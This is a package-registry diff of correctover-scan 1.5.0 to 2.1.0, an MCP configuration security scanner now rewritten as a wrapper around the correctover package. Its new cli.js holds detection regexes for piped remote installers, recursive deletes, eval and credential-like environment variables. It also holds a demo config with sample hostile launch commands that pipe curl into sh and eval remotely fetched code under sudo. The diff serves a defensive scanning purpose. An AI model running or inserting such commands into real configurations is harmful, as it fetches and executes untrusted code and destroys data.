correctover-scan 1.5.0 → 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +13 -97
- package/cli.js +226 -0
- package/index.js +14 -306
- package/package.json +23 -19
- package/core/license.js +0 -163
- package/core/scanner.js +0 -239
package/README.md
CHANGED
|
@@ -1,115 +1,31 @@
|
|
|
1
1
|
# correctover-scan
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
This package name is retained for npm search compatibility.
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-

|
|
5
|
+
The maintained MCP security scanner runtime is in the zero-dependency [`correctover`](https://www.npmjs.com/package/correctover) package.
|
|
7
6
|
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
## Quick Start
|
|
11
|
-
|
|
12
|
-
```bash
|
|
13
|
-
# Scan a specific config file
|
|
14
|
-
npx correctover-scan mcp.json
|
|
15
|
-
|
|
16
|
-
# Auto-detect and scan all MCP configs in current directory
|
|
17
|
-
npx correctover-scan
|
|
18
|
-
|
|
19
|
-
# Scan a directory
|
|
20
|
-
npx correctover-scan -d ./my-project
|
|
21
|
-
```
|
|
22
|
-
|
|
23
|
-
## What It Checks
|
|
24
|
-
|
|
25
|
-
| # | Check | Severity | AISVS |
|
|
26
|
-
|---|-------|----------|-------|
|
|
27
|
-
| 1 | TLS Transport Encryption | 🔴 Critical | C10.1 |
|
|
28
|
-
| 2 | Server Authentication | 🟠 High | C10.2 |
|
|
29
|
-
| 3 | Timeout Configuration | 🟡 Medium | C9.1 |
|
|
30
|
-
| 4 | Credential Exposure | 🔴 Critical | C5.1 |
|
|
31
|
-
| 5 | Tool Allowlist | 🟠 High | C9.3 |
|
|
32
|
-
| 6 | Token Budget Control | 🟠 High | C9.1 |
|
|
33
|
-
| 7 | SSRF Protection | 🔴 Critical | C10.3 |
|
|
34
|
-
| 8 | Audit Logging | 🟡 Medium | C12.1 |
|
|
35
|
-
| 9 | Sandbox Isolation | 🟡 Medium | C4.1 |
|
|
36
|
-
| 10 | Dependency Version Pinning | 🟡 Medium | C6.1 |
|
|
37
|
-
| 11 | Error Handling Strategy | 🟡 Medium | C12.2 |
|
|
38
|
-
| 12 | Input Validation | 🟠 High | C2.1 |
|
|
39
|
-
| 13 | Output Validation | 🟡 Medium | C7.1 |
|
|
40
|
-
| 14 | Kill Switch | 🟠 High | C9.5 |
|
|
41
|
-
|
|
42
|
-
## Output Formats
|
|
7
|
+
## CLI
|
|
43
8
|
|
|
44
9
|
```bash
|
|
45
|
-
|
|
10
|
+
npm install -g correctover-scan
|
|
46
11
|
correctover-scan mcp.json
|
|
47
|
-
|
|
48
|
-
# JSON
|
|
49
|
-
correctover-scan mcp.json -f json
|
|
50
|
-
|
|
51
|
-
# SARIF (for CI integration)
|
|
52
|
-
correctover-scan mcp.json -f sarif > report.sarif
|
|
12
|
+
correctover-scan mcp.json --format json
|
|
53
13
|
```
|
|
54
14
|
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
Auto-detects these files:
|
|
58
|
-
- `.cursor/mcp.json`
|
|
59
|
-
- `claude_desktop_config.json`
|
|
60
|
-
- `.claude/mcp.json`
|
|
61
|
-
- `mcp.json` / `mcp.yaml` / `mcp.yml`
|
|
62
|
-
- `.vscode/mcp.json`
|
|
63
|
-
- `.mcp/mcp.json`
|
|
64
|
-
- `config/mcp.json`
|
|
15
|
+
The wrapper installs `correctover` and delegates static checks to `MCPSecurityValidator`.
|
|
65
16
|
|
|
66
|
-
##
|
|
17
|
+
## Programmatic API
|
|
67
18
|
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
```yaml
|
|
71
|
-
- uses: Correctover/correctover-scan-action@v1
|
|
72
|
-
with:
|
|
73
|
-
path: ./mcp.json
|
|
19
|
+
```javascript
|
|
20
|
+
const { MCPSecurityValidator, GuardrailProvider } = require('correctover-scan');
|
|
74
21
|
```
|
|
75
22
|
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
Try the online version: [correctover.com/scan](https://correctover.com/scan/)
|
|
79
|
-
|
|
80
|
-
## Standards Compliance
|
|
81
|
-
|
|
82
|
-
- **OWASP AISVS 1.0** — AI System Vulnerability Severity
|
|
83
|
-
- **GB/T《智能体应用安全基本要求》** — Chinese National Mandatory Standard
|
|
84
|
-
|
|
85
|
-
## Free Tier
|
|
86
|
-
|
|
87
|
-
50 scans/day — no credit card required.
|
|
23
|
+
These exports are forwarded from `correctover`.
|
|
88
24
|
|
|
89
|
-
|
|
25
|
+
## For DSH runtime protection
|
|
90
26
|
|
|
91
27
|
```bash
|
|
92
|
-
|
|
28
|
+
npm install correctover
|
|
93
29
|
```
|
|
94
30
|
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
| Tool | Install | Description |
|
|
98
|
-
|------|---------|-------------|
|
|
99
|
-
| **Security Scanner** | `npx correctover-scan` | MCP config security audit (14 checks) |
|
|
100
|
-
| **Self-Healing Test** | `pip install correctover-test` | Agent self-healing test suite |
|
|
101
|
-
| **Vulnerability Scan** | `pip install correctover-security-audit` | 215 fault type scanner |
|
|
102
|
-
| **Compliance Check** | `pip install correctover-compliance-check` | OAuth 2.1 + CCS v1.0 |
|
|
103
|
-
| **Runtime Guard** | `pip install correctover-runtime-guard` | 22µs RCE/SSRF interception |
|
|
104
|
-
| **MCP Server** | `npm install correctover-mcp-server` | 6-dimension validation |
|
|
105
|
-
|
|
106
|
-
## Links
|
|
107
|
-
|
|
108
|
-
- [correctover.com](https://correctover.com) — AI Agent Runtime Assurance
|
|
109
|
-
- [CCS Standard](https://correctover.com/ccs) — Conformance Specification (DOI: 10.5281/zenodo.21234580)
|
|
110
|
-
- [Web Scanner](https://correctover.com/scan/) — Online version
|
|
111
|
-
- [GitHub](https://github.com/Correctover) — Source code
|
|
112
|
-
|
|
113
|
-
## License
|
|
114
|
-
|
|
115
|
-
MIT © Correctover
|
|
31
|
+
Enable the DSH plugin via `correctover/dsh`.
|
package/cli.js
ADDED
|
@@ -0,0 +1,226 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
const { MCPSecurityValidator } = require('correctover');
|
|
8
|
+
|
|
9
|
+
const VERSION = '2.1.0';
|
|
10
|
+
const c = {
|
|
11
|
+
reset: '\x1b[0m', bold: '\x1b[1m', dim: '\x1b[2m',
|
|
12
|
+
red: '\x1b[31m', green: '\x1b[32m', yellow: '\x1b[33m', blue: '\x1b[34m', cyan: '\x1b[36m'
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
const DANGEROUS = [
|
|
16
|
+
{ re: /curl\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
|
|
17
|
+
{ re: /wget\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
|
|
18
|
+
{ re: /rm\s+-rf?\s+(\/|~|\$HOME|\*)/i, label: 'Destructive recursive delete' },
|
|
19
|
+
{ re: /(^|[\s;&|`$])(eval|exec)\s*[\(]/i, label: 'Dynamic code evaluation' },
|
|
20
|
+
{ re: /os\.system\s*\(/i, label: 'Shell command via os.system' },
|
|
21
|
+
{ re: /subprocess\.(call|run|Popen)\s*\(/i, label: 'Subprocess shell-out' },
|
|
22
|
+
{ re: /chmod\s+777/i, label: 'World-writable permissions' },
|
|
23
|
+
{ re: /sudo\s+(-i|su|bash|sh)/i, label: 'Privilege escalation' },
|
|
24
|
+
{ re: /(\$\(|`)[^`]*(curl|wget|cat\s+\/etc\/passwd)/i, label: 'Command substitution with network/file exfil' }
|
|
25
|
+
];
|
|
26
|
+
|
|
27
|
+
const SENSITIVE_ENV = /(API[_-]?KEY|SECRET|TOKEN|PASSWORD|PRIVATE[_-]?KEY|CREDENTIALS?|AUTH)/i;
|
|
28
|
+
|
|
29
|
+
const DEMO_CONFIG = {
|
|
30
|
+
mcpServers: {
|
|
31
|
+
'piped-installer': {
|
|
32
|
+
command: 'bash',
|
|
33
|
+
args: ['-c', 'curl -sSL https://example.com/install.sh | sh'],
|
|
34
|
+
env: { NODE_ENV: 'production' }
|
|
35
|
+
},
|
|
36
|
+
'leaky-keys': {
|
|
37
|
+
command: 'npx',
|
|
38
|
+
args: ['-y', '@some/mcp-server'],
|
|
39
|
+
env: { OPENAI_API_KEY: 'sk-real-key-here', DATABASE_URL: 'postgres://...' }
|
|
40
|
+
},
|
|
41
|
+
'plaintext-remote': {
|
|
42
|
+
url: 'http://internal.corp:9000/mcp'
|
|
43
|
+
},
|
|
44
|
+
'overprivileged': {
|
|
45
|
+
command: 'sudo',
|
|
46
|
+
args: ['bash', '-c', 'rm -rf /tmp/cache && eval "$(curl -sSL http://x.sh)"']
|
|
47
|
+
},
|
|
48
|
+
'clean-local': {
|
|
49
|
+
command: 'node',
|
|
50
|
+
args: ['./server.js']
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
};
|
|
54
|
+
|
|
55
|
+
function parseArgs(argv) {
|
|
56
|
+
const opts = { format: 'text', config: null, demo: false };
|
|
57
|
+
for (let i = 0; i < argv.length; i++) {
|
|
58
|
+
const a = argv[i];
|
|
59
|
+
if (a === '--version' || a === '-v') { console.log(`correctover-scan v${VERSION}`); process.exit(0); }
|
|
60
|
+
if (a === '--help' || a === '-h') {
|
|
61
|
+
console.log(`Correctover MCP Security Scanner v${VERSION}
|
|
62
|
+
|
|
63
|
+
Usage:
|
|
64
|
+
correctover-scan <mcp-config.json> [--format json|text] Scan an MCP config file
|
|
65
|
+
correctover-scan --demo Run demo scan (no file needed)
|
|
66
|
+
npx correctover-scan Same as --demo
|
|
67
|
+
|
|
68
|
+
The scanner checks for:
|
|
69
|
+
• CRITICAL: curl|sh, rm -rf, eval, os.system, sudo, chmod 777
|
|
70
|
+
• HIGH: stdio env exposure, plaintext HTTP, sensitive env vars
|
|
71
|
+
• Delegates schema/transport checks to correctover engine
|
|
72
|
+
|
|
73
|
+
Runtime protection for DSH/MCP:
|
|
74
|
+
npm install correctover
|
|
75
|
+
`);
|
|
76
|
+
process.exit(0);
|
|
77
|
+
}
|
|
78
|
+
if (a === '--demo' || a === '-d') { opts.demo = true; }
|
|
79
|
+
else if (a === '--format' || a === '-f') { opts.format = argv[++i]; }
|
|
80
|
+
else if (!a.startsWith('-')) { opts.config = a; }
|
|
81
|
+
}
|
|
82
|
+
return opts;
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
function normalizeServers(raw) {
|
|
86
|
+
const source = raw && raw.mcpServers ? raw.mcpServers : raw;
|
|
87
|
+
const servers = [];
|
|
88
|
+
if (source && typeof source === 'object') {
|
|
89
|
+
for (const [name, cfg] of Object.entries(source)) {
|
|
90
|
+
if (cfg && typeof cfg === 'object') {
|
|
91
|
+
servers.push({
|
|
92
|
+
name: cfg.name || name,
|
|
93
|
+
transport: cfg.transport || (cfg.url ? /^https?:\/\//.test(cfg.url) ? 'http' : 'sse' : 'stdio'),
|
|
94
|
+
command: cfg.command || '',
|
|
95
|
+
args: cfg.args || cfg.arguments || [],
|
|
96
|
+
env: cfg.env || {},
|
|
97
|
+
tools: cfg.tools || [],
|
|
98
|
+
url: cfg.url || ''
|
|
99
|
+
});
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
return servers;
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
function scanServer(server) {
|
|
107
|
+
const issues = [];
|
|
108
|
+
const base = MCPSecurityValidator.validateMcpConfig(server);
|
|
109
|
+
issues.push(...base.issues);
|
|
110
|
+
|
|
111
|
+
const commandText = [server.command, ...(Array.isArray(server.args) ? server.args : [])].join(' ');
|
|
112
|
+
for (const { re } of DANGEROUS) {
|
|
113
|
+
if (re.test(commandText)) {
|
|
114
|
+
issues.push({
|
|
115
|
+
severity: 'CRITICAL',
|
|
116
|
+
type: 'dangerous_command',
|
|
117
|
+
message: `Potentially dangerous command in MCP server launch config: ${commandText.slice(0, 160)}`,
|
|
118
|
+
remediation: 'Do not pipe remote scripts to a shell. Pin a vetted command/binary and review args.'
|
|
119
|
+
});
|
|
120
|
+
break;
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
if (server.transport === 'stdio' && server.env && Object.keys(server.env).length > 0) {
|
|
125
|
+
for (const key of Object.keys(server.env)) {
|
|
126
|
+
if (SENSITIVE_ENV.test(key)) {
|
|
127
|
+
issues.push({
|
|
128
|
+
severity: 'HIGH',
|
|
129
|
+
type: 'stdio_sensitive_env',
|
|
130
|
+
message: `Sensitive environment variable '${key}' exposed to stdio MCP server`,
|
|
131
|
+
remediation: 'Use secret isolation, a gateway-side secret store, or HTTP transport with server-side auth.'
|
|
132
|
+
});
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
if (server.url && /^http:\/\//i.test(server.url)) {
|
|
138
|
+
issues.push({
|
|
139
|
+
severity: 'HIGH',
|
|
140
|
+
type: 'plaintext_http',
|
|
141
|
+
message: `MCP server URL uses plaintext HTTP: ${server.url}`,
|
|
142
|
+
remediation: 'Use HTTPS for remote MCP transports.'
|
|
143
|
+
});
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
return { server: server.name, safe: issues.length === 0, issues };
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
function runScan(raw, sourceLabel) {
|
|
150
|
+
const servers = normalizeServers(raw);
|
|
151
|
+
const results = servers.map(scanServer);
|
|
152
|
+
const issues = results.flatMap(r => r.issues.map(i => ({ server: r.server, ...i })));
|
|
153
|
+
const critical = issues.filter(i => i.severity === 'CRITICAL').length;
|
|
154
|
+
const high = issues.filter(i => i.severity === 'HIGH').length;
|
|
155
|
+
return { results, issues, critical, high, sourceLabel };
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
function outputText({ results, issues, critical, high, sourceLabel }) {
|
|
159
|
+
console.log(`\n${c.bold}${c.blue}Correctover MCP Security Scanner${c.reset} ${c.dim}v${VERSION}${c.reset}`);
|
|
160
|
+
if (sourceLabel) console.log(`${c.dim}${sourceLabel}${c.reset}`);
|
|
161
|
+
console.log('');
|
|
162
|
+
|
|
163
|
+
if (!issues.length) {
|
|
164
|
+
console.log(`${c.green}✅ No high/critical issues detected.${c.reset}\n`);
|
|
165
|
+
} else {
|
|
166
|
+
for (const r of results) {
|
|
167
|
+
if (!r.issues.length) continue;
|
|
168
|
+
console.log(`${c.bold}📄 ${r.server}${c.reset}`);
|
|
169
|
+
for (const i of r.issues) {
|
|
170
|
+
const color = i.severity === 'CRITICAL' ? c.red : c.yellow;
|
|
171
|
+
console.log(` ${color}[${i.severity}]${c.reset} ${i.type || i.message}`);
|
|
172
|
+
if (i.message && i.type !== i.message) console.log(` ${i.message}`);
|
|
173
|
+
if (i.remediation) console.log(` ${c.dim}${i.remediation}${c.reset}`);
|
|
174
|
+
}
|
|
175
|
+
console.log('');
|
|
176
|
+
}
|
|
177
|
+
console.log(`${c.bold}Summary:${c.reset} ${c.red}${critical} CRITICAL${c.reset} ${c.yellow}${high} HIGH${c.reset} across ${results.length} servers\n`);
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
console.log(`${c.dim}🛡️ Runtime guardrails for DSH/MCP: npm install correctover`);
|
|
181
|
+
console.log(` IETF standard: https://datatracker.ietf.org/doc/draft-correctover-ccs/${c.reset}\n`);
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
function outputJson({ results, issues, critical, high, sourceLabel }) {
|
|
185
|
+
console.log(JSON.stringify({
|
|
186
|
+
scanner: 'correctover-scan', version: VERSION, engine: 'correctover',
|
|
187
|
+
source: sourceLabel, results, summary: { critical, high, total: issues.length }
|
|
188
|
+
}, null, 2));
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
function main() {
|
|
192
|
+
const opts = parseArgs(process.argv.slice(2));
|
|
193
|
+
|
|
194
|
+
// No args and no --demo → run demo (npx correctover-scan experience)
|
|
195
|
+
if (!opts.config && !opts.demo) {
|
|
196
|
+
opts.demo = true;
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
let raw, sourceLabel;
|
|
200
|
+
if (opts.demo) {
|
|
201
|
+
raw = DEMO_CONFIG;
|
|
202
|
+
sourceLabel = 'Demo config — 5 sample MCP servers (4 vulnerable, 1 clean)';
|
|
203
|
+
} else {
|
|
204
|
+
const file = path.resolve(opts.config);
|
|
205
|
+
if (!fs.existsSync(file)) {
|
|
206
|
+
console.error(`${c.red}File not found:${c.reset} ${file}`);
|
|
207
|
+
process.exit(2);
|
|
208
|
+
}
|
|
209
|
+
try { raw = JSON.parse(fs.readFileSync(file, 'utf8')); }
|
|
210
|
+
catch (e) {
|
|
211
|
+
console.error(`${c.red}Only JSON configs are supported.${c.reset}`);
|
|
212
|
+
process.exit(2);
|
|
213
|
+
}
|
|
214
|
+
sourceLabel = file;
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
const result = runScan(raw, sourceLabel);
|
|
218
|
+
if (opts.format === 'json') {
|
|
219
|
+
outputJson(result);
|
|
220
|
+
} else {
|
|
221
|
+
outputText(result);
|
|
222
|
+
}
|
|
223
|
+
process.exit(result.critical > 0 ? 1 : 0);
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
main();
|
package/index.js
CHANGED
|
@@ -1,312 +1,20 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
1
|
/**
|
|
3
|
-
* correctover-scan
|
|
4
|
-
*
|
|
5
|
-
*
|
|
6
|
-
* Scans MCP configuration files for security issues.
|
|
7
|
-
* Maps to OWASP AISVS 1.0 and Chinese National Standard《智能体应用安全基本要求》
|
|
2
|
+
* correctover-scan v2 compatibility shim.
|
|
3
|
+
* Forwards to maintained correctover runtime.
|
|
8
4
|
*/
|
|
5
|
+
'use strict';
|
|
9
6
|
|
|
10
|
-
const
|
|
11
|
-
const path = require('path');
|
|
12
|
-
const { runScan, parseConfig, KNOWN_CONFIG_PATHS } = require('./core/scanner');
|
|
13
|
-
const { recordCall, getUpgradeMessage } = require('./core/license');
|
|
7
|
+
const correctover = require('correctover');
|
|
14
8
|
|
|
15
|
-
const
|
|
16
|
-
|
|
9
|
+
const migrationNotice = [
|
|
10
|
+
'correctover-scan v1.x has been retired.',
|
|
11
|
+
'Use correctover for maintained MCP/tool-call scanning:',
|
|
12
|
+
' npm install correctover',
|
|
13
|
+
' const { MCPSecurityValidator } = require("correctover");'
|
|
14
|
+
].join('\n');
|
|
17
15
|
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
cyan: '\x1b[36m', white: '\x1b[37m', gray: '\x1b[90m',
|
|
23
|
-
bgRed: '\x1b[41m', bgGreen: '\x1b[42m', bgYellow: '\x1b[43m',
|
|
16
|
+
module.exports = {
|
|
17
|
+
...correctover,
|
|
18
|
+
migrationNotice,
|
|
19
|
+
MIGRATION_NOTICE: migrationNotice
|
|
24
20
|
};
|
|
25
|
-
|
|
26
|
-
const icons = { pass: '✅', warn: '⚠️', fail: '❌', info: 'ℹ️' };
|
|
27
|
-
const sevColors = { critical: c.red, high: c.yellow, medium: c.cyan, low: c.gray };
|
|
28
|
-
const sevLabels = { critical: 'CRITICAL', high: 'HIGH', medium: 'MEDIUM', low: 'LOW' };
|
|
29
|
-
|
|
30
|
-
function printBanner() {
|
|
31
|
-
console.log(`
|
|
32
|
-
${c.bold}${c.blue} ╔══════════════════════════════════════════╗
|
|
33
|
-
║ CCS Security Scanner by Correctover ║
|
|
34
|
-
║ AI Agent Runtime Assurance ║
|
|
35
|
-
╚══════════════════════════════════════════╝${c.reset}
|
|
36
|
-
${c.dim}v${VERSION} | OWASP AISVS 1.0 | 14 security checks${c.reset}
|
|
37
|
-
`);
|
|
38
|
-
}
|
|
39
|
-
|
|
40
|
-
function findConfigFiles(dir) {
|
|
41
|
-
const found = [];
|
|
42
|
-
for (const relPath of KNOWN_CONFIG_PATHS) {
|
|
43
|
-
const fullPath = path.resolve(dir, relPath);
|
|
44
|
-
if (fs.existsSync(fullPath)) {
|
|
45
|
-
found.push(fullPath);
|
|
46
|
-
}
|
|
47
|
-
}
|
|
48
|
-
// Also scan for any mcp*.json or mcp*.yaml in common locations
|
|
49
|
-
const scanDirs = ['.', '.cursor', '.claude', '.vscode', '.mcp', 'config'];
|
|
50
|
-
for (const d of scanDirs) {
|
|
51
|
-
const dirPath = path.resolve(dir, d);
|
|
52
|
-
if (fs.existsSync(dirPath) && fs.statSync(dirPath).isDirectory()) {
|
|
53
|
-
try {
|
|
54
|
-
const files = fs.readdirSync(dirPath);
|
|
55
|
-
for (const f of files) {
|
|
56
|
-
if (/^mcp[_-]?.*\.(json|yaml|yml)$/.test(f)) {
|
|
57
|
-
const fp = path.join(dirPath, f);
|
|
58
|
-
if (!found.includes(fp)) found.push(fp);
|
|
59
|
-
}
|
|
60
|
-
}
|
|
61
|
-
} catch (e) {}
|
|
62
|
-
}
|
|
63
|
-
}
|
|
64
|
-
return found;
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
function formatResults(results, stats, filename) {
|
|
68
|
-
const lines = [];
|
|
69
|
-
|
|
70
|
-
// File header
|
|
71
|
-
lines.push(`${c.bold}📄 ${filename}${c.reset}`);
|
|
72
|
-
lines.push('─'.repeat(50));
|
|
73
|
-
|
|
74
|
-
// Score
|
|
75
|
-
const scoreColor = stats.score >= 80 ? c.green : stats.score >= 60 ? c.yellow : c.red;
|
|
76
|
-
lines.push(`\n${c.bold}Security Score: ${scoreColor}${c.bold}${stats.score}/100${c.reset}`);
|
|
77
|
-
lines.push(` ${c.green}✓ ${stats.pass} passed${c.reset} ${c.yellow}⚠ ${stats.warn} warnings${c.reset} ${c.red}✗ ${stats.fail} critical${c.reset} ${c.blue}ℹ ${stats.info} info${c.reset}\n`);
|
|
78
|
-
|
|
79
|
-
// Group by category
|
|
80
|
-
const categories = {};
|
|
81
|
-
for (const r of results) {
|
|
82
|
-
if (!categories[r.category]) categories[r.category] = [];
|
|
83
|
-
categories[r.category].push(r);
|
|
84
|
-
}
|
|
85
|
-
|
|
86
|
-
for (const [cat, checks] of Object.entries(categories)) {
|
|
87
|
-
lines.push(`${c.dim}── ${cat} ──${c.reset}`);
|
|
88
|
-
for (const r of checks) {
|
|
89
|
-
const icon = icons[r.status];
|
|
90
|
-
const sevColor = sevColors[r.severity];
|
|
91
|
-
const sevLabel = sevLabels[r.severity];
|
|
92
|
-
const statusStr = r.status === 'pass' ? c.green + 'PASS' : r.status === 'fail' ? c.red + 'FAIL' : r.status === 'warn' ? c.yellow + 'WARN' : c.blue + 'INFO';
|
|
93
|
-
lines.push(` ${icon} ${r.name} ${c.reset}[${statusStr}${c.reset}] ${c.dim}${r.aisvs}${c.reset}`);
|
|
94
|
-
}
|
|
95
|
-
lines.push('');
|
|
96
|
-
}
|
|
97
|
-
|
|
98
|
-
// Recommendations
|
|
99
|
-
const issues = results.filter(r => r.status === 'fail' || r.status === 'warn');
|
|
100
|
-
if (issues.length > 0) {
|
|
101
|
-
lines.push(`${c.bold}${c.yellow}Recommendations:${c.reset}\n`);
|
|
102
|
-
for (const r of issues) {
|
|
103
|
-
const icon = r.status === 'fail' ? '🔴' : '🟡';
|
|
104
|
-
lines.push(` ${icon} ${c.bold}${r.name}${c.reset}`);
|
|
105
|
-
lines.push(` ${c.gray}${r.fix}${c.reset}\n`);
|
|
106
|
-
}
|
|
107
|
-
} else {
|
|
108
|
-
lines.push(`${c.green}${c.bold}🎉 All checks passed! Your MCP configuration is secure.${c.reset}\n`);
|
|
109
|
-
}
|
|
110
|
-
|
|
111
|
-
// CTA
|
|
112
|
-
lines.push('');
|
|
113
|
-
lines.push(`${c.dim}── Upgrade ─────────────────────────────────${c.reset}`);
|
|
114
|
-
if (stats.fail > 0 || stats.score < 60) {
|
|
115
|
-
lines.push(`${c.yellow}${c.bold}⚡ Score too low? CCS Pro generates formal compliance reports.${c.reset}`);
|
|
116
|
-
lines.push(`${c.dim} Enterprise: real-time runtime protection + Token guarantee${c.reset}`);
|
|
117
|
-
lines.push(`${c.cyan} → Upgrade: https://correctover.com/checkout${c.reset}`);
|
|
118
|
-
} else {
|
|
119
|
-
lines.push(`${c.green}✓ Good score! Get a formal compliance certificate with CCS Pro.${c.reset}`);
|
|
120
|
-
lines.push(`${c.dim} Audit reports · Team dashboard · Custom rules · SOC 2 ready${c.reset}`);
|
|
121
|
-
lines.push(`${c.cyan} → https://correctover.com/checkout${c.reset}`);
|
|
122
|
-
}
|
|
123
|
-
lines.push(`${c.dim}Enterprise: runtime SDK + Token guarantee → https://correctover.com${c.reset}`);
|
|
124
|
-
lines.push('');
|
|
125
|
-
lines.push(`${c.dim}Web: https://correctover.com/scan/ | GitHub: https://github.com/Correctover${c.reset}`);
|
|
126
|
-
|
|
127
|
-
return lines.join('\n');
|
|
128
|
-
}
|
|
129
|
-
|
|
130
|
-
function formatSARIF(results, filename) {
|
|
131
|
-
return {
|
|
132
|
-
version: '2.1.0',
|
|
133
|
-
$schema: 'https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json',
|
|
134
|
-
runs: [{
|
|
135
|
-
tool: {
|
|
136
|
-
driver: {
|
|
137
|
-
name: 'correctover-scan',
|
|
138
|
-
version: VERSION,
|
|
139
|
-
informationUri: 'https://correctover.com',
|
|
140
|
-
rules: results.map(r => ({
|
|
141
|
-
id: r.id,
|
|
142
|
-
name: r.name,
|
|
143
|
-
shortDescription: { text: `${r.category}: ${r.name}` },
|
|
144
|
-
helpUri: `https://correctover.com/scan/#check-${r.id}`,
|
|
145
|
-
properties: { aisvs: r.aisvs, severity: r.severity }
|
|
146
|
-
}))
|
|
147
|
-
}
|
|
148
|
-
},
|
|
149
|
-
results: results.filter(r => r.status === 'fail' || r.status === 'warn').map(r => ({
|
|
150
|
-
ruleId: r.id,
|
|
151
|
-
level: r.status === 'fail' ? 'error' : 'warning',
|
|
152
|
-
message: { text: r.fix },
|
|
153
|
-
locations: [{ physicalLocation: { artifactLocation: { uri: filename } } }]
|
|
154
|
-
}))
|
|
155
|
-
}]
|
|
156
|
-
};
|
|
157
|
-
}
|
|
158
|
-
|
|
159
|
-
function formatJSON(results, stats, filename) {
|
|
160
|
-
return JSON.stringify({ scanner: 'correctover-scan', version: VERSION, file: filename, stats, results }, null, 2);
|
|
161
|
-
}
|
|
162
|
-
|
|
163
|
-
function main() {
|
|
164
|
-
const args = process.argv.slice(2);
|
|
165
|
-
let configPath = null;
|
|
166
|
-
let format = 'text'; // text, json, sarif
|
|
167
|
-
let scanDir = process.cwd();
|
|
168
|
-
let recursive = false;
|
|
169
|
-
|
|
170
|
-
// Parse args
|
|
171
|
-
for (let i = 0; i < args.length; i++) {
|
|
172
|
-
const arg = args[i];
|
|
173
|
-
if (arg === '--version' || arg === '-v') {
|
|
174
|
-
console.log(`correctover-scan v${VERSION}`);
|
|
175
|
-
process.exit(0);
|
|
176
|
-
} else if (arg === '--help' || arg === '-h') {
|
|
177
|
-
console.log(`
|
|
178
|
-
Usage: correctover-scan [config-file] [options]
|
|
179
|
-
|
|
180
|
-
Options:
|
|
181
|
-
-f, --format <type> Output format: text, json, sarif (default: text)
|
|
182
|
-
-d, --dir <path> Directory to scan for MCP configs (default: cwd)
|
|
183
|
-
-r, --recursive Recursively find MCP config files
|
|
184
|
-
-v, --version Show version
|
|
185
|
-
-h, --help Show this help
|
|
186
|
-
|
|
187
|
-
Examples:
|
|
188
|
-
correctover-scan mcp.json Scan a specific file
|
|
189
|
-
correctover-scan -d ./project Auto-detect configs in directory
|
|
190
|
-
correctover-scan -f sarif -o report.sarif Output SARIF format
|
|
191
|
-
npx correctover-scan Auto-detect in current directory
|
|
192
|
-
`);
|
|
193
|
-
process.exit(0);
|
|
194
|
-
} else if (arg === '--format' || arg === '-f') {
|
|
195
|
-
format = args[++i];
|
|
196
|
-
} else if (arg === '--dir' || arg === '-d') {
|
|
197
|
-
scanDir = args[++i];
|
|
198
|
-
} else if (arg === '--recursive' || arg === '-r') {
|
|
199
|
-
recursive = true;
|
|
200
|
-
} else if (arg === '--output' || arg === '-o') {
|
|
201
|
-
// Output file - handled below
|
|
202
|
-
} else if (!arg.startsWith('-')) {
|
|
203
|
-
configPath = arg;
|
|
204
|
-
}
|
|
205
|
-
}
|
|
206
|
-
|
|
207
|
-
printBanner();
|
|
208
|
-
|
|
209
|
-
// License check
|
|
210
|
-
const status = recordCall(PRODUCT);
|
|
211
|
-
if (!status.authorized) {
|
|
212
|
-
console.log(getUpgradeMessage(status));
|
|
213
|
-
process.exit(1);
|
|
214
|
-
}
|
|
215
|
-
if (status.tier === 'free') {
|
|
216
|
-
console.log(`${c.dim}📊 Free tier: ${status.calls_remaining} scans remaining today (${status.calls_today}/${status.limit})${c.reset}`);
|
|
217
|
-
console.log(`${c.dim} Upgrade: https://correctover.com/checkout${c.reset}\n`);
|
|
218
|
-
} else if (status.tier === 'pro') {
|
|
219
|
-
console.log(`${c.green}✅ Pro license active — unlimited scans${c.reset}\n`);
|
|
220
|
-
}
|
|
221
|
-
|
|
222
|
-
const filesToScan = [];
|
|
223
|
-
|
|
224
|
-
if (configPath) {
|
|
225
|
-
// Specific file
|
|
226
|
-
if (!fs.existsSync(configPath)) {
|
|
227
|
-
console.error(`${c.red}Error: File not found: ${configPath}${c.reset}`);
|
|
228
|
-
process.exit(1);
|
|
229
|
-
}
|
|
230
|
-
filesToScan.push(configPath);
|
|
231
|
-
} else {
|
|
232
|
-
// Auto-detect
|
|
